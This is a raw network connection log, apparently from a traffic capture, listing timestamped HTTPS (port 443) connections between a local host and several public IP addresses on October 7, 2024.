Oct 7, 2024 20:59:08.959754944 CEST	49749	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:08.959767103 CEST	443	49749	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:08.965315104 CEST	49759	443	192.168.2.16	142.250.185.142
Oct 7, 2024 20:59:08.965399027 CEST	443	49759	142.250.185.142	192.168.2.16
Oct 7, 2024 20:59:08.965532064 CEST	49759	443	192.168.2.16	142.250.185.142
Oct 7, 2024 20:59:08.965735912 CEST	49759	443	192.168.2.16	142.250.185.142
Oct 7, 2024 20:59:08.965760946 CEST	443	49759	142.250.185.142	192.168.2.16
Oct 7, 2024 20:59:09.014069080 CEST	49749	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:09.049385071 CEST	443	49752	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.049736977 CEST	49752	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.049767971 CEST	443	49752	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.051240921 CEST	443	49752	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.051398039 CEST	49752	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.051794052 CEST	49752	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.051877022 CEST	49752	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.051892042 CEST	443	49752	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.051914930 CEST	443	49752	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.053970098 CEST	443	49755	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.054230928 CEST	49755	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.054244995 CEST	443	49755	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.055819988 CEST	443	49755	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.055913925 CEST	49755	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.056241989 CEST	49755	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.056273937 CEST	443	49756	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.056345940 CEST	443	49755	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.056348085 CEST	49755	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.056504965 CEST	49756	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.056535006 CEST	443	49756	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.058173895 CEST	443	49756	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.058262110 CEST	49756	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.058558941 CEST	443	49753	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.058579922 CEST	49756	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.058676004 CEST	443	49756	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.058690071 CEST	49756	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.058835030 CEST	49753	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.058870077 CEST	443	49753	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.062376022 CEST	443	49753	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.062491894 CEST	49753	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.062918901 CEST	49753	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.063096046 CEST	443	49753	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.063107967 CEST	49753	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.075073004 CEST	443	49757	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.075434923 CEST	49757	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.075491905 CEST	443	49757	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.077034950 CEST	443	49757	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.077131987 CEST	49757	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.077486992 CEST	49757	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.077575922 CEST	443	49757	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.077621937 CEST	49757	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.079056978 CEST	443	49754	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.079281092 CEST	49754	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.079339027 CEST	443	49754	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.083136082 CEST	443	49754	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.083427906 CEST	49754	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.083791018 CEST	49754	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.083791018 CEST	49754	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.083878040 CEST	443	49754	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.084249020 CEST	443	49754	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.092195988 CEST	49752	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.092226028 CEST	443	49752	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.099436045 CEST	443	49756	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.099437952 CEST	443	49755	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.103490114 CEST	443	49753	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.108098984 CEST	49756	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.108123064 CEST	443	49756	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.108213902 CEST	49755	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.108242989 CEST	443	49755	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.111509085 CEST	49753	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.111568928 CEST	443	49753	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.119488955 CEST	443	49757	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.124191999 CEST	49754	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.124232054 CEST	49757	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.124253035 CEST	443	49754	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.124290943 CEST	443	49757	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.140202045 CEST	49752	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.157056093 CEST	49755	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.157054901 CEST	49756	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.157361984 CEST	49753	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.168261051 CEST	443	49758	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.172204018 CEST	49757	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.172847033 CEST	49754	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.187737942 CEST	49758	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.187804937 CEST	443	49758	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.189394951 CEST	443	49758	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.221472979 CEST	49758	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.221565962 CEST	49758	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.221596003 CEST	443	49758	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.221995115 CEST	443	49758	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.235040903 CEST	443	49749	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:09.235308886 CEST	443	49749	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:09.235423088 CEST	49749	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:09.236170053 CEST	49749	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:09.236188889 CEST	443	49749	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:09.251842976 CEST	49760	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:09.251883984 CEST	443	49760	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:09.252013922 CEST	49760	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:09.257280111 CEST	49760	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:09.257302999 CEST	443	49760	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:09.268179893 CEST	49758	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.348874092 CEST	443	49756	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.375121117 CEST	443	49754	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.375257015 CEST	443	49754	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.375320911 CEST	49754	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.375349998 CEST	443	49754	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.375380039 CEST	443	49754	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.375442028 CEST	49754	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.375500917 CEST	443	49754	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.375839949 CEST	443	49754	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.375909090 CEST	49754	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.376396894 CEST	49754	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.376437902 CEST	443	49754	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.377034903 CEST	49761	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.377087116 CEST	443	49761	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.377166986 CEST	49761	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.377768040 CEST	49761	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.377785921 CEST	443	49761	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.382472038 CEST	49762	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.382483006 CEST	443	49762	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.382574081 CEST	49762	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.382761002 CEST	49762	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.382775068 CEST	443	49762	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.392823935 CEST	443	49756	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.392930984 CEST	49756	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.392970085 CEST	443	49756	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.392998934 CEST	443	49756	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.393142939 CEST	49756	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.393405914 CEST	49756	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.393433094 CEST	443	49756	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.395704985 CEST	49763	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.395745993 CEST	443	49763	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.395828962 CEST	49763	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.398627996 CEST	49763	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.398669958 CEST	443	49763	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.404791117 CEST	49764	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.404829979 CEST	443	49764	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.404928923 CEST	49764	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.405168056 CEST	49764	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.405185938 CEST	443	49764	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.431212902 CEST	443	49752	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.431271076 CEST	443	49752	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.431307077 CEST	443	49752	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.431339979 CEST	443	49752	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.431372881 CEST	443	49752	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.431411028 CEST	49752	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.431423903 CEST	443	49752	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.431592941 CEST	49752	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.431592941 CEST	49752	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.431922913 CEST	443	49752	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.432037115 CEST	443	49752	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.432085037 CEST	443	49752	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.432089090 CEST	49752	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.432101011 CEST	443	49752	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.432143927 CEST	49752	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.432518959 CEST	443	49752	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.436362028 CEST	443	49752	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.436449051 CEST	49752	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.436460018 CEST	443	49752	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.442222118 CEST	443	49757	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.442284107 CEST	443	49757	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.442375898 CEST	443	49757	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.442445040 CEST	443	49757	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.442465067 CEST	49757	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.442533016 CEST	49757	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.442533016 CEST	49757	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.443155050 CEST	49757	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.443218946 CEST	443	49757	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.446432114 CEST	49765	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.446518898 CEST	443	49765	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.446671963 CEST	49765	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.446903944 CEST	49765	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.446938992 CEST	443	49765	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.469975948 CEST	443	49753	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.470103025 CEST	443	49753	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.470288992 CEST	49753	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.470350027 CEST	443	49753	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.470453024 CEST	443	49753	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.470516920 CEST	49753	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.470531940 CEST	443	49753	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.470586061 CEST	443	49753	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.470644951 CEST	49753	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.470798969 CEST	49753	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.470824957 CEST	443	49753	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.472410917 CEST	49766	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.472455025 CEST	443	49766	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.472547054 CEST	49766	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.472847939 CEST	49766	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.472877979 CEST	443	49766	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.473030090 CEST	443	49755	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.473136902 CEST	443	49755	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.473187923 CEST	49755	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.473400116 CEST	49767	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.473412037 CEST	443	49767	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.473468065 CEST	49767	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.474627018 CEST	49767	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.474641085 CEST	443	49767	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.475327015 CEST	49755	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.475336075 CEST	443	49755	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.477389097 CEST	49768	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.477478981 CEST	443	49768	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.477566957 CEST	49768	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.477844954 CEST	49769	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.477876902 CEST	443	49769	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.477936029 CEST	49769	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.478112936 CEST	49768	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.478151083 CEST	443	49768	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.478240013 CEST	49769	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.478256941 CEST	443	49769	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.489176989 CEST	49752	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.515527010 CEST	443	49752	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.515655041 CEST	443	49752	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.515708923 CEST	49752	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.515739918 CEST	443	49752	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.515758991 CEST	443	49752	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.515925884 CEST	49752	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.516004086 CEST	49752	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.516016960 CEST	443	49752	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.518635988 CEST	49770	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.518676996 CEST	443	49770	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.518748999 CEST	49770	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.518984079 CEST	49771	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.519051075 CEST	443	49771	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.519119978 CEST	49771	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.519313097 CEST	49770	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.519334078 CEST	443	49770	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.519536972 CEST	49771	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.519568920 CEST	443	49771	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.596626043 CEST	443	49759	142.250.185.142	192.168.2.16
Oct 7, 2024 20:59:09.597091913 CEST	49759	443	192.168.2.16	142.250.185.142
Oct 7, 2024 20:59:09.597148895 CEST	443	49759	142.250.185.142	192.168.2.16
Oct 7, 2024 20:59:09.597697973 CEST	443	49759	142.250.185.142	192.168.2.16
Oct 7, 2024 20:59:09.597788095 CEST	49759	443	192.168.2.16	142.250.185.142
Oct 7, 2024 20:59:09.598692894 CEST	443	49759	142.250.185.142	192.168.2.16
Oct 7, 2024 20:59:09.598767996 CEST	49759	443	192.168.2.16	142.250.185.142
Oct 7, 2024 20:59:09.599921942 CEST	49759	443	192.168.2.16	142.250.185.142
Oct 7, 2024 20:59:09.600006104 CEST	443	49759	142.250.185.142	192.168.2.16
Oct 7, 2024 20:59:09.600109100 CEST	49759	443	192.168.2.16	142.250.185.142
Oct 7, 2024 20:59:09.600123882 CEST	443	49759	142.250.185.142	192.168.2.16
Oct 7, 2024 20:59:09.649049997 CEST	49759	443	192.168.2.16	142.250.185.142
Oct 7, 2024 20:59:09.826307058 CEST	443	49762	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.826716900 CEST	49762	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.826759100 CEST	443	49762	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.827224016 CEST	443	49762	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.827637911 CEST	49762	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.827723026 CEST	443	49762	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.827864885 CEST	49762	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.837239981 CEST	443	49761	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.837511063 CEST	49761	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.837524891 CEST	443	49761	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.838948011 CEST	443	49761	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.839101076 CEST	49761	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.839559078 CEST	49761	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.839590073 CEST	49761	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.839624882 CEST	49761	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.839648962 CEST	443	49761	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.839725971 CEST	49761	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.839951992 CEST	49772	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.840025902 CEST	443	49772	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.840130091 CEST	49772	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.840424061 CEST	49772	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.840456963 CEST	443	49772	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.842569113 CEST	443	49763	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.842808962 CEST	49763	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.842834949 CEST	443	49763	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.844283104 CEST	443	49763	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.844368935 CEST	49763	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.844723940 CEST	49763	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.844759941 CEST	49763	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.844784021 CEST	49763	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.844826937 CEST	443	49763	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.844924927 CEST	49763	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.845118046 CEST	49773	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.845156908 CEST	443	49773	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.845227957 CEST	49773	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.845447063 CEST	49773	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.845467091 CEST	443	49773	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.846520901 CEST	443	49764	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.846771002 CEST	49764	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.846829891 CEST	443	49764	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.848025084 CEST	443	49764	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.848400116 CEST	49764	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.848531961 CEST	49764	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.848586082 CEST	443	49764	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.871428013 CEST	443	49762	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.882599115 CEST	443	49759	142.250.185.142	192.168.2.16
Oct 7, 2024 20:59:09.883234978 CEST	49759	443	192.168.2.16	142.250.185.142
Oct 7, 2024 20:59:09.883282900 CEST	443	49759	142.250.185.142	192.168.2.16
Oct 7, 2024 20:59:09.883382082 CEST	49759	443	192.168.2.16	142.250.185.142
Oct 7, 2024 20:59:09.892585039 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:09.892637968 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:09.892730951 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:09.892950058 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:09.892978907 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:09.902070045 CEST	49764	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.902354002 CEST	443	49765	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.902635098 CEST	49765	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.902673960 CEST	443	49765	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.905960083 CEST	443	49765	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.906053066 CEST	49765	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.906398058 CEST	49765	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.906486988 CEST	443	49765	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.906542063 CEST	49765	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.910172939 CEST	443	49768	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.910397053 CEST	49768	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.910427094 CEST	443	49768	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.912321091 CEST	443	49768	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.912412882 CEST	49768	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.912669897 CEST	49768	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.912686110 CEST	49768	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.912731886 CEST	49768	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.912750006 CEST	443	49768	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.912811995 CEST	49768	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.912955046 CEST	49775	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.913021088 CEST	443	49775	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.913109064 CEST	49775	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.913357019 CEST	49775	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.913389921 CEST	443	49775	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.916033983 CEST	443	49766	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.916268110 CEST	49766	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.916284084 CEST	443	49766	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.917682886 CEST	443	49769	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.917718887 CEST	443	49766	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.917798996 CEST	49766	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.917902946 CEST	49769	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.917931080 CEST	443	49769	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.918402910 CEST	49766	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.918435097 CEST	49766	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.918464899 CEST	49766	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.918494940 CEST	443	49766	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.918565989 CEST	49766	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.918703079 CEST	49776	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.918754101 CEST	443	49776	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.918837070 CEST	49776	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.919064045 CEST	49776	443	192.168.2.16	104.21.57.143
